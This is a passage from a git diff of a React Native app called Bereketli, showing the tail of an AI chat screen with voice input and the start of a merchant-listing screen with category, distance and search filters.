const errorMsg: DisplayMessage = {
|
||||||
|
id: `error-${Date.now()}`,
|
||||||
|
role: 'assistant',
|
||||||
|
content: t('chat.error'),
|
||||||
|
};
|
||||||
|
setMessages(prev => [...prev, errorMsg]);
|
||||||
|
} finally {
|
||||||
|
setLoading(false);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
[messages, loading, chatStarted, t],
|
||||||
|
);
|
||||||
|
|
||||||
|
handleSendRef.current = handleSend;
|
||||||
|
|
||||||
|
const renderMessage = ({item}: {item: DisplayMessage}) => {
|
||||||
|
const isUser = item.role === 'user';
|
||||||
|
return (
|
||||||
|
<View
|
||||||
|
style={[
|
||||||
|
msgStyles.row,
|
||||||
|
isUser ? msgStyles.rowUser : msgStyles.rowAi,
|
||||||
|
]}>
|
||||||
|
{!isUser && (
|
||||||
|
<Image source={AI_AVATAR} style={msgStyles.avatar} />
|
||||||
|
)}
|
||||||
|
<View
|
||||||
|
style={[
|
||||||
|
msgStyles.bubble,
|
||||||
|
isUser ? msgStyles.bubbleUser : msgStyles.bubbleAi,
|
||||||
|
]}>
|
||||||
|
<Text
|
||||||
|
style={[
|
||||||
|
msgStyles.text,
|
||||||
|
isUser ? msgStyles.textUser : msgStyles.textAi,
|
||||||
|
]}>
|
||||||
|
{item.content}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
const hasText = inputText.trim().length > 0;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<KeyboardAvoidingView
|
||||||
|
style={styles.container}
|
||||||
|
behavior={Platform.OS === 'ios' ? 'padding' : undefined}>
|
||||||
|
{/* Header */}
|
||||||
|
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.backButton}
|
||||||
|
onPress={() => navigation.goBack()}>
|
||||||
|
<Icon name="arrow-left" size={24} color="#FFFFFF" />
|
||||||
|
</TouchableOpacity>
|
||||||
|
<View style={styles.headerCenter}>
|
||||||
|
<Image source={AI_AVATAR} style={styles.headerAvatar} />
|
||||||
|
<View>
|
||||||
|
<Text style={styles.headerTitle}>Bereketli AI</Text>
|
||||||
|
<Text style={styles.headerStatus}>
|
||||||
|
{loading ? t('chat.typing') : 'Online'}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
<View style={{width: 40}} />
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Welcome screen OR Chat */}
|
||||||
|
{!chatStarted ? (
|
||||||
|
<View style={styles.welcomeContainer}>
|
||||||
|
<TouchableOpacity
|
||||||
|
onPressIn={startListening}
|
||||||
|
onPressOut={stopListening}
|
||||||
|
activeOpacity={0.8}>
|
||||||
|
<Animated.View style={[styles.avatarPulseRing, isListening && {transform: [{scale: pulseAnim}], borderColor: colors.primary}]}>
|
||||||
|
<Image source={AI_AVATAR} style={styles.welcomeAvatar} />
|
||||||
|
</Animated.View>
|
||||||
|
</TouchableOpacity>
|
||||||
|
{isListening ? (
|
||||||
|
<>
|
||||||
|
<Text style={styles.listeningText}>{t('chat.listening')}</Text>
|
||||||
|
{partialText ? <Text style={styles.partialText}>{partialText}</Text> : null}
|
||||||
|
</>
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
<Text style={styles.welcomeName}>Bereketli AI</Text>
|
||||||
|
<Text style={styles.welcomeGreeting}>{t('chat.greeting')}</Text>
|
||||||
|
<Text style={styles.holdHint}>{t('chat.holdToTalk')}</Text>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<View style={styles.suggestionsWrap}>
|
||||||
|
{suggestions.map(s => (
|
||||||
|
<TouchableOpacity
|
||||||
|
key={s.key}
|
||||||
|
style={styles.suggestionChip}
|
||||||
|
onPress={() => handleSend(s.label)}
|
||||||
|
activeOpacity={0.7}>
|
||||||
|
<Text style={styles.suggestionText}>{s.label}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
))}
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
) : (
|
||||||
|
<FlatList
|
||||||
|
ref={flatListRef}
|
||||||
|
data={messages}
|
||||||
|
keyExtractor={item => item.id}
|
||||||
|
renderItem={renderMessage}
|
||||||
|
contentContainerStyle={styles.messageList}
|
||||||
|
onContentSizeChange={() =>
|
||||||
|
flatListRef.current?.scrollToEnd({animated: true})
|
||||||
|
}
|
||||||
|
ListFooterComponent={
|
||||||
|
loading ? (
|
||||||
|
<View style={msgStyles.rowAi}>
|
||||||
|
<Image source={AI_AVATAR} style={msgStyles.avatar} />
|
||||||
|
<View style={msgStyles.typingBubble}>
|
||||||
|
<ActivityIndicator size="small" color={colors.primary} />
|
||||||
|
<Text style={msgStyles.typingText}>{t('chat.typing')}</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
) : null
|
||||||
|
}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Input Area */}
|
||||||
|
<View style={[styles.inputContainer, {paddingBottom: insets.bottom + 8}]}>
|
||||||
|
<TextInput
|
||||||
|
style={styles.input}
|
||||||
|
value={inputText}
|
||||||
|
onChangeText={setInputText}
|
||||||
|
placeholder={t('chat.placeholder')}
|
||||||
|
placeholderTextColor="#9CA3AF"
|
||||||
|
multiline
|
||||||
|
maxLength={1000}
|
||||||
|
editable={!loading}
|
||||||
|
/>
|
||||||
|
{hasText ? (
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.sendButton, loading && {opacity: 0.5}]}
|
||||||
|
onPress={() => handleSend(inputText)}
|
||||||
|
disabled={loading}
|
||||||
|
activeOpacity={0.7}>
|
||||||
|
<Icon name="send" size={20} color="#FFFFFF" />
|
||||||
|
</TouchableOpacity>
|
||||||
|
) : (
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.micButton, isListening && styles.micButtonActive]}
|
||||||
|
onPressIn={startListening}
|
||||||
|
onPressOut={stopListening}
|
||||||
|
activeOpacity={0.7}
|
||||||
|
disabled={loading}>
|
||||||
|
<Icon name="microphone" size={22} color={isListening ? '#FFFFFF' : colors.primary} />
|
||||||
|
</TouchableOpacity>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
</KeyboardAvoidingView>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const msgStyles = StyleSheet.create({
|
||||||
|
row: {flexDirection: 'row', marginBottom: 12, alignItems: 'flex-end'},
|
||||||
|
rowUser: {justifyContent: 'flex-end'},
|
||||||
|
rowAi: {justifyContent: 'flex-start'},
|
||||||
|
avatar: {width: 32, height: 32, borderRadius: 16, marginRight: 8},
|
||||||
|
bubble: {maxWidth: '75%', borderRadius: 16, paddingHorizontal: 14, paddingVertical: 10},
|
||||||
|
bubbleUser: {backgroundColor: colors.primary, borderBottomRightRadius: 4},
|
||||||
|
bubbleAi: {
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
borderBottomLeftRadius: 4,
|
||||||
|
shadowColor: '#000',
|
||||||
|
shadowOffset: {width: 0, height: 1},
|
||||||
|
shadowOpacity: 0.05,
|
||||||
|
shadowRadius: 3,
|
||||||
|
elevation: 1,
|
||||||
|
},
|
||||||
|
text: {fontSize: 15, lineHeight: 22},
|
||||||
|
textUser: {color: '#FFFFFF'},
|
||||||
|
textAi: {color: '#1A1A1A'},
|
||||||
|
typingBubble: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
borderRadius: 16,
|
||||||
|
borderBottomLeftRadius: 4,
|
||||||
|
paddingHorizontal: 14,
|
||||||
|
paddingVertical: 10,
|
||||||
|
},
|
||||||
|
typingText: {fontSize: 13, color: '#9CA3AF', fontStyle: 'italic', marginLeft: 8},
|
||||||
|
});
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: '#F0F2F5'},
|
||||||
|
|
||||||
|
// Header
|
||||||
|
header: {
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
paddingBottom: 14,
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
},
|
||||||
|
backButton: {width: 40, height: 40, borderRadius: 20, justifyContent: 'center', alignItems: 'center'},
|
||||||
|
headerCenter: {flex: 1, flexDirection: 'row', alignItems: 'center', marginLeft: 8},
|
||||||
|
headerAvatar: {width: 36, height: 36, borderRadius: 18, marginRight: 10, borderWidth: 2, borderColor: 'rgba(255,255,255,0.3)'},
|
||||||
|
headerTitle: {fontSize: 17, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
headerStatus: {fontSize: 11, color: 'rgba(255,255,255,0.7)', marginTop: 1},
|
||||||
|
|
||||||
|
// Welcome
|
||||||
|
welcomeContainer: {flex: 1, justifyContent: 'center', alignItems: 'center', paddingHorizontal: 32},
|
||||||
|
avatarPulseRing: {width: 130, height: 130, borderRadius: 65, borderWidth: 4, borderColor: 'transparent', justifyContent: 'center', alignItems: 'center', marginBottom: 16},
|
||||||
|
welcomeAvatar: {width: 120, height: 120, borderRadius: 60},
|
||||||
|
welcomeName: {fontSize: 22, fontWeight: '800', color: colors.primary, marginBottom: 8},
|
||||||
|
welcomeGreeting: {fontSize: 15, color: '#6B7280', textAlign: 'center', lineHeight: 22, marginBottom: 32},
|
||||||
|
suggestionsWrap: {width: '100%'},
|
||||||
|
suggestionChip: {
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
borderWidth: 1.5,
|
||||||
|
borderColor: colors.primary,
|
||||||
|
borderRadius: 14,
|
||||||
|
paddingHorizontal: 18,
|
||||||
|
paddingVertical: 14,
|
||||||
|
marginBottom: 10,
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
suggestionText: {fontSize: 15, fontWeight: '600', color: colors.primary},
|
||||||
|
holdHint: {fontSize: 12, color: '#9CA3AF', marginTop: 8, fontStyle: 'italic'},
|
||||||
|
listeningText: {fontSize: 18, fontWeight: '700', color: colors.primary, marginBottom: 8},
|
||||||
|
partialText: {fontSize: 14, color: '#6B7280', fontStyle: 'italic', textAlign: 'center', paddingHorizontal: 32},
|
||||||
|
|
||||||
|
// Messages
|
||||||
|
messageList: {paddingHorizontal: 16, paddingVertical: 16, flexGrow: 1},
|
||||||
|
|
||||||
|
// Input
|
||||||
|
inputContainer: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'flex-end',
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
paddingTop: 8,
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
borderTopWidth: 1,
|
||||||
|
borderTopColor: '#E5E7EB',
|
||||||
|
},
|
||||||
|
input: {
|
||||||
|
flex: 1,
|
||||||
|
backgroundColor: '#F3F4F6',
|
||||||
|
borderRadius: 24,
|
||||||
|
paddingHorizontal: 18,
|
||||||
|
paddingVertical: 10,
|
||||||
|
fontSize: 15,
|
||||||
|
color: '#1A1A1A',
|
||||||
|
maxHeight: 100,
|
||||||
|
marginRight: 10,
|
||||||
|
},
|
||||||
|
sendButton: {
|
||||||
|
width: 42,
|
||||||
|
height: 42,
|
||||||
|
borderRadius: 21,
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
micButton: {
|
||||||
|
width: 42,
|
||||||
|
height: 42,
|
||||||
|
borderRadius: 21,
|
||||||
|
backgroundColor: '#F3F4F6',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
borderWidth: 1.5,
|
||||||
|
borderColor: '#E5E7EB',
|
||||||
|
},
|
||||||
|
micButtonActive: {
|
||||||
|
backgroundColor: '#DC2626',
|
||||||
|
borderColor: '#DC2626',
|
||||||
|
},
|
||||||
|
});
|
||||||
@@ -0,0 +1,404 @@
|
|||||||
|
import React, {useEffect, useState, useCallback} from 'react';
|
||||||
|
import {useFocusEffect} from '@react-navigation/native';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
FlatList,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
RefreshControl,
|
||||||
|
StatusBar,
|
||||||
|
TextInput,
|
||||||
|
Image,
|
||||||
|
ScrollView,
|
||||||
|
} from 'react-native';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
import {useLocationStore} from '../../store/locationStore';
|
||||||
|
import * as merchantsApi from '../../api/merchants';
|
||||||
|
import type {MerchantNearby, MerchantCategory} from '../../types/models';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import Icon from 'react-native-vector-icons/MaterialCommunityIcons';
|
||||||
|
import OfflineBanner from '../../components/OfflineBanner';
|
||||||
|
|
||||||
|
const THEME = '#DC2626'; // Red theme for Esnaf
|
||||||
|
const THEME_LIGHT = '#FEE2E2';
|
||||||
|
const BASE_URL = 'https://bereketli.pezkiwi.app';
|
||||||
|
|
||||||
|
// Real Canva-generated category images
|
||||||
|
const MERCHANT_CATEGORY_IMAGES: Record<string, string> = {
|
||||||
|
barber: `${BASE_URL}/esnaf-barber.png`,
|
||||||
|
cafe: `${BASE_URL}/esnaf-cafe.png`,
|
||||||
|
butcher: `${BASE_URL}/esnaf-butcher.png`,
|
||||||
|
greengrocer: `${BASE_URL}/esnaf-greengrocer.png`,
|
||||||
|
tailor: `${BASE_URL}/esnaf-tailor.png`,
|
||||||
|
bakery: `${BASE_URL}/package-bakery.png`,
|
||||||
|
pharmacy: `${BASE_URL}/esnaf-cafe.png`,
|
||||||
|
other: `${BASE_URL}/local-barber.png`,
|
||||||
|
};
|
||||||
|
|
||||||
|
const CATEGORY_KEYS: {key: MerchantCategory | 'all'; i18nKey: string; icon: string}[] = [
|
||||||
|
{key: 'all', i18nKey: 'common.all', icon: '🏪'},
|
||||||
|
{key: 'barber', i18nKey: 'merchants.categoryBarber', icon: '💈'},
|
||||||
|
{key: 'cafe', i18nKey: 'merchants.categoryCafe', icon: '☕'},
|
||||||
|
{key: 'butcher', i18nKey: 'merchants.categoryButcher', icon: '🥩'},
|
||||||
|
{key: 'greengrocer', i18nKey: 'merchants.categoryGreengrocer', icon: '🥬'},
|
||||||
|
{key: 'bakery', i18nKey: 'merchants.categoryBakery', icon: '🍞'},
|
||||||
|
{key: 'pharmacy', i18nKey: 'merchants.categoryPharmacy', icon: '💊'},
|
||||||
|
{key: 'tailor', i18nKey: 'merchants.categoryTailor', icon: '🧵'},
|
||||||
|
];
|
||||||
|
|
||||||
|
export default function EsnafMapScreen({navigation}: any) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const {latitude, longitude, updateLocation} = useLocationStore();
|
||||||
|
const [merchants, setMerchants] = useState<MerchantNearby[]>([]);
|
||||||
|
const [category, setCategory] = useState<MerchantCategory | 'all'>('all');
|
||||||
|
const [loading, setLoading] = useState(false);
|
||||||
|
const [searchQuery, setSearchQuery] = useState('');
|
||||||
|
const [radius, setRadius] = useState(0); // Default: Tümü
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
|
||||||
|
const fetchMerchants = useCallback(async () => {
|
||||||
|
setLoading(true);
|
||||||
|
try {
|
||||||
|
let data: MerchantNearby[];
|
||||||
|
if (radius === 0) {
|
||||||
|
// Tümü — show all merchants regardless of location
|
||||||
|
data = await merchantsApi.getAllMerchants();
|
||||||
|
} else if (latitude && longitude) {
|
||||||
|
data = await merchantsApi.getNearbyMerchants(latitude, longitude, radius, category === 'all' ? undefined : category);
|
||||||
|
} else {
|
||||||
|
data = [];
|
||||||
|
}
|
||||||
|
setMerchants(data);
|
||||||
|
} catch {
|
||||||
|
// Silent fail
|
||||||
|
} finally {
|
||||||
|
setLoading(false);
|
||||||
|
}
|
||||||
|
}, [latitude, longitude, category, radius]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
updateLocation();
|
||||||
|
// eslint-disable-next-line react-hooks/exhaustive-deps -- updateLocation is a stable zustand store action
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
fetchMerchants();
|
||||||
|
}, [fetchMerchants]);
|
||||||
|
|
||||||
|
const filteredMerchants = searchQuery.trim()
|
||||||
|
? merchants.filter(
|
||||||
|
m =>
|
||||||
|
m.name.toLowerCase().includes(searchQuery.toLowerCase()) ||
|
||||||
|
(m.description || '').toLowerCase().includes(searchQuery.toLowerCase()),
|
||||||
|
)
|
||||||
|
: merchants;
|
||||||
|
|
||||||
|
const formatDistance = (m: number) =>
|
||||||
|
m < 1000 ? `${Math.round(m)}m` : `${(m / 1000).toFixed(1)}km`;
|
||||||
|
|
||||||
|
const renderMerchantCard = ({item}: {item: MerchantNearby}) => {
|
||||||
|
const catInfo = CATEGORY_KEYS.find(c => c.key === item.category);
|
||||||
|
return (
|
||||||
|
<View style={styles.cardWrapper}>
|
||||||
|
<TouchableOpacity style={styles.card} activeOpacity={0.9} onPress={() => navigation.navigate('MerchantDetail', {merchantId: item.id})}>
|
||||||
|
{/* Image */}
|
||||||
|
<View style={styles.cardImage}>
|
||||||
|
<Image
|
||||||
|
source={{uri:
|
||||||
|
item.photos && item.photos.length > 0
|
||||||
|
? (item.photos[0].startsWith('http') ? item.photos[0] : `${BASE_URL}${item.photos[0]}`)
|
||||||
|
: MERCHANT_CATEGORY_IMAGES[item.category] || MERCHANT_CATEGORY_IMAGES.other
|
||||||
|
}}
|
||||||
|
style={styles.cardImg}
|
||||||
|
resizeMode="cover"
|
||||||
|
/>
|
||||||
|
{/* Category badge */}
|
||||||
|
<View style={styles.categoryBadge}>
|
||||||
|
<Text style={styles.categoryBadgeText}>{catInfo?.icon} {t(catInfo?.i18nKey || '') || item.category}</Text>
|
||||||
|
</View>
|
||||||
|
{/* Heart */}
|
||||||
|
<TouchableOpacity style={styles.heartBtn} activeOpacity={0.7}>
|
||||||
|
<Text style={styles.heartIcon}>♡</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Info */}
|
||||||
|
<View style={styles.cardInfo}>
|
||||||
|
<View style={styles.cardNameRow}>
|
||||||
|
<Text style={styles.cardName} numberOfLines={1}>{item.name}</Text>
|
||||||
|
{item.rating > 0 && (
|
||||||
|
<View style={styles.ratingBadge}>
|
||||||
|
<Text style={styles.ratingStar}>★</Text>
|
||||||
|
<Text style={styles.ratingText}>{item.rating.toFixed(1)}</Text>
|
||||||
|
{item.total_reviews > 0 && (
|
||||||
|
<Text style={styles.reviewCount}>({item.total_reviews})</Text>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{item.story && (
|
||||||
|
<Text style={styles.cardStory} numberOfLines={2}>"{item.story}"</Text>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<View style={styles.cardMetaRow}>
|
||||||
|
{item.distance_m > 0 && (
|
||||||
|
<Text style={styles.cardDistance}>📍 {formatDistance(item.distance_m)}</Text>
|
||||||
|
)}
|
||||||
|
<Text style={styles.cardAddress} numberOfLines={1}>{item.address}</Text>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Plan badge */}
|
||||||
|
{item.plan !== 'free' && (
|
||||||
|
<View style={styles.planBadge}>
|
||||||
|
<Text style={styles.planText}>⭐ {item.plan === 'pro' ? 'Pro Esnaf' : 'Business'}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
const renderScrollHeader = () => (
|
||||||
|
<>
|
||||||
|
{/* ── Categories ── */}
|
||||||
|
<View style={styles.categorySection}>
|
||||||
|
<ScrollView
|
||||||
|
horizontal
|
||||||
|
showsHorizontalScrollIndicator={false}
|
||||||
|
contentContainerStyle={styles.categoryList}>
|
||||||
|
{CATEGORY_KEYS.map(cat => (
|
||||||
|
<TouchableOpacity
|
||||||
|
key={cat.key}
|
||||||
|
style={[styles.categoryChip, category === cat.key && styles.categoryChipActive]}
|
||||||
|
onPress={() => setCategory(cat.key)}>
|
||||||
|
<Text style={styles.categoryChipIcon}>{cat.icon}</Text>
|
||||||
|
<Text style={[styles.categoryChipText, category === cat.key && styles.categoryChipTextActive]}>
|
||||||
|
{t(cat.i18nKey)}
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
))}
|
||||||
|
</ScrollView>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* ── Distance ── */}
|
||||||
|
<View style={styles.distanceSection}>
|
||||||
|
<View style={styles.distanceHeader}>
|
||||||
|
<Text style={styles.distanceLabel}>📍 {t('common.distance')}</Text>
|
||||||
|
<Text style={styles.distanceValue}>
|
||||||
|
{radius === 0 ? t('common.all') : radius >= 1000 ? `${(radius / 1000).toFixed(1)} km` : `${radius}m`}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
<View style={styles.distanceSliderRow}>
|
||||||
|
{([500, 1000, 2000, 3000, 5000, 0] as number[]).map(r => (
|
||||||
|
<TouchableOpacity
|
||||||
|
key={r}
|
||||||
|
style={[styles.distanceChip, radius === r && styles.distanceChipActive]}
|
||||||
|
onPress={() => setRadius(r)}>
|
||||||
|
<Text style={[styles.distanceChipText, radius === r && styles.distanceChipTextActive]}>
|
||||||
|
{r === 0 ? t('common.all') : r >= 1000 ? `${r / 1000}km` : `${r}m`}
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
))}
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* ── Section Title ── */}
|
||||||
|
<View style={styles.sectionHeader}>
|
||||||
|
<Text style={styles.sectionTitle}>
|
||||||
|
{category === 'all' ? t('merchants.nearbyMerchants') : (t(CATEGORY_KEYS.find(c => c.key === category)?.i18nKey || ''))}
|
||||||
|
</Text>
|
||||||
|
{filteredMerchants.length > 0 && (
|
||||||
|
<Text style={styles.sectionCount}>{t('merchants.merchantCount', {count: filteredMerchants.length})}</Text>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
</>
|
||||||
|
);
|
||||||
|
|
||||||
|
useFocusEffect(
|
||||||
|
useCallback(() => {
|
||||||
|
StatusBar.setBarStyle('light-content');
|
||||||
|
StatusBar.setBackgroundColor(THEME);
|
||||||
|
}, []),
|
||||||
|
);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
|
||||||
|
{/* ── Sticky Header ── */}
|
||||||
|
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
|
||||||
|
<View style={styles.headerRow}>
|
||||||
|
<View>
|
||||||
|
<Text style={styles.headerTitle}>{t('merchants.title')}</Text>
|
||||||
|
<Text style={styles.headerSubtitle}>{t('merchants.subtitle')}</Text>
|
||||||
|
</View>
|
||||||
|
<TouchableOpacity style={styles.headerIconBtn} onPress={() => navigation.navigate('AiChat')}>
|
||||||
|
<Icon name="robot" size={20} color="#FFFFFF" />
|
||||||
|
<Text style={styles.aiLabel}>AI</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
<View style={styles.searchBar}>
|
||||||
|
<Text style={styles.searchIcon}>🔍</Text>
|
||||||
|
<TextInput
|
||||||
|
style={styles.searchInput}
|
||||||
|
placeholder={t('merchants.searchPlaceholder')}
|
||||||
|
placeholderTextColor="#9CA3AF"
|
||||||
|
value={searchQuery}
|
||||||
|
onChangeText={setSearchQuery}
|
||||||
|
/>
|
||||||
|
{searchQuery.length > 0 && (
|
||||||
|
<TouchableOpacity onPress={() => setSearchQuery('')}>
|
||||||
|
<Text style={styles.clearIcon}>✕</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<OfflineBanner />
|
||||||
|
|
||||||
|
{/* ── Scrollable ── */}
|
||||||
|
<FlatList
|
||||||
|
data={filteredMerchants}
|
||||||
|
keyExtractor={item => item.id}
|
||||||
|
renderItem={renderMerchantCard}
|
||||||
|
ListHeaderComponent={renderScrollHeader}
|
||||||
|
contentContainerStyle={styles.list}
|
||||||
|
refreshControl={
|
||||||
|
<RefreshControl refreshing={loading} onRefresh={fetchMerchants} colors={[THEME]} />
|
||||||
|
}
|
||||||
|
ListEmptyComponent={
|
||||||
|
!loading ? (
|
||||||
|
<View style={styles.empty}>
|
||||||
|
<View style={styles.emptyIconContainer}>
|
||||||
|
<Text style={styles.emptyIconText}>🏪</Text>
|
||||||
|
</View>
|
||||||
|
<Text style={styles.emptyTitle}>{t('merchants.emptyTitle')}</Text>
|
||||||
|
<Text style={styles.emptyText}>{t('merchants.emptyText')}</Text>
|
||||||
|
</View>
|
||||||
|
) : null
|
||||||
|
}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: '#F8F8F8'},
|
||||||
|
|
||||||
|
// Header
|
||||||
|
header: {backgroundColor: THEME, paddingBottom: 16, paddingHorizontal: 16},
|
||||||
|
headerRow: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center', marginBottom: 12},
|
||||||
|
headerTitle: {fontSize: 22, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
headerSubtitle: {fontSize: 13, color: 'rgba(255,255,255,0.7)', fontWeight: '500', marginTop: 2},
|
||||||
|
headerIconBtn: {
|
||||||
|
width: 40, height: 40, borderRadius: 20,
|
||||||
|
backgroundColor: 'rgba(255,255,255,0.15)',
|
||||||
|
justifyContent: 'center', alignItems: 'center',
|
||||||
|
},
|
||||||
|
headerIcon: {fontSize: 18},
|
||||||
|
aiLabel: {fontSize: 8, fontWeight: '700', color: '#FFFFFF', marginTop: 1},
|
||||||
|
|
||||||
|
// Search
|
||||||
|
searchBar: {
|
||||||
|
flexDirection: 'row', alignItems: 'center',
|
||||||
|
backgroundColor: '#FFFFFF', borderRadius: 12,
|
||||||
|
paddingHorizontal: 14, height: 46, gap: 10,
|
||||||
|
},
|
||||||
|
searchIcon: {fontSize: 16},
|
||||||
|
searchInput: {flex: 1, fontSize: 14, color: '#1A1A1A', padding: 0},
|
||||||
|
clearIcon: {fontSize: 16, color: '#9CA3AF', padding: 4},
|
||||||
|
|
||||||
|
// Categories
|
||||||
|
categorySection: {backgroundColor: '#FFFFFF', paddingVertical: 10, borderBottomWidth: 1, borderBottomColor: '#F3F4F6'},
|
||||||
|
categoryList: {paddingHorizontal: 16, gap: 8},
|
||||||
|
categoryChip: {
|
||||||
|
flexDirection: 'row', alignItems: 'center', gap: 4,
|
||||||
|
paddingHorizontal: 14, paddingVertical: 8,
|
||||||
|
borderRadius: 20, borderWidth: 1, borderColor: '#E5E7EB',
|
||||||
|
},
|
||||||
|
categoryChipActive: {backgroundColor: THEME, borderColor: THEME},
|
||||||
|
categoryChipIcon: {fontSize: 14},
|
||||||
|
categoryChipText: {fontSize: 13, fontWeight: '500', color: '#374151'},
|
||||||
|
categoryChipTextActive: {color: '#FFFFFF'},
|
||||||
|
|
||||||
|
// Distance
|
||||||
|
distanceSection: {
|
||||||
|
backgroundColor: '#FFFFFF', paddingHorizontal: 16, paddingVertical: 12,
|
||||||
|
borderBottomWidth: 1, borderBottomColor: '#F3F4F6',
|
||||||
|
},
|
||||||
|
distanceHeader: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center', marginBottom: 8},
|
||||||
|
distanceLabel: {fontSize: 13, fontWeight: '600', color: '#374151'},
|
||||||
|
distanceValue: {fontSize: 13, fontWeight: '700', color: THEME},
|
||||||
|
distanceSliderRow: {flexDirection: 'row', gap: 8},
|
||||||
|
distanceChip: {
|
||||||
|
flex: 1, paddingVertical: 8, borderRadius: 20,
|
||||||
|
backgroundColor: '#F3F4F6', alignItems: 'center',
|
||||||
|
},
|
||||||
|
distanceChipActive: {backgroundColor: THEME},
|
||||||
|
distanceChipText: {fontSize: 12, fontWeight: '600', color: '#6B7280'},
|
||||||
|
distanceChipTextActive: {color: '#FFFFFF'},
|
||||||
|
|
||||||
|
// Section
|
||||||
|
sectionHeader: {
|
||||||
|
flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center',
|
||||||
|
paddingHorizontal: 16, paddingTop: 20, paddingBottom: 12,
|
||||||
|
},
|
||||||
|
sectionTitle: {fontSize: 20, fontWeight: '700', color: '#1A1A1A'},
|
||||||
|
sectionCount: {fontSize: 13, color: '#9CA3AF', fontWeight: '500'},
|
||||||
|
|
||||||
|
// List
|
||||||
|
list: {paddingBottom: 100},
|
||||||
|
cardWrapper: {paddingHorizontal: 16},
|
||||||
|
|
||||||
|
// Card
|
||||||
|
card: {
|
||||||
|
backgroundColor: '#FFFFFF', borderRadius: 12,
|
||||||
|
marginBottom: 12, overflow: 'hidden',
|
||||||
|
shadowColor: '#000', shadowOffset: {width: 0, height: 1},
|
||||||
|
shadowOpacity: 0.05, shadowRadius: 4, elevation: 2,
|
||||||
|
},
|
||||||
|
cardImage: {height: 160, position: 'relative', backgroundColor: THEME_LIGHT},
|
||||||
|
cardImg: {width: '100%', height: '100%'},
|
||||||
|
categoryBadge: {
|
||||||
|
position: 'absolute', bottom: 10, left: 10,
|
||||||
|
backgroundColor: THEME, borderRadius: 6,
|
||||||
|
paddingHorizontal: 10, paddingVertical: 3,
|
||||||
|
},
|
||||||
|
categoryBadgeText: {fontSize: 11, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
heartBtn: {
|
||||||
|
position: 'absolute', top: 10, right: 10,
|
||||||
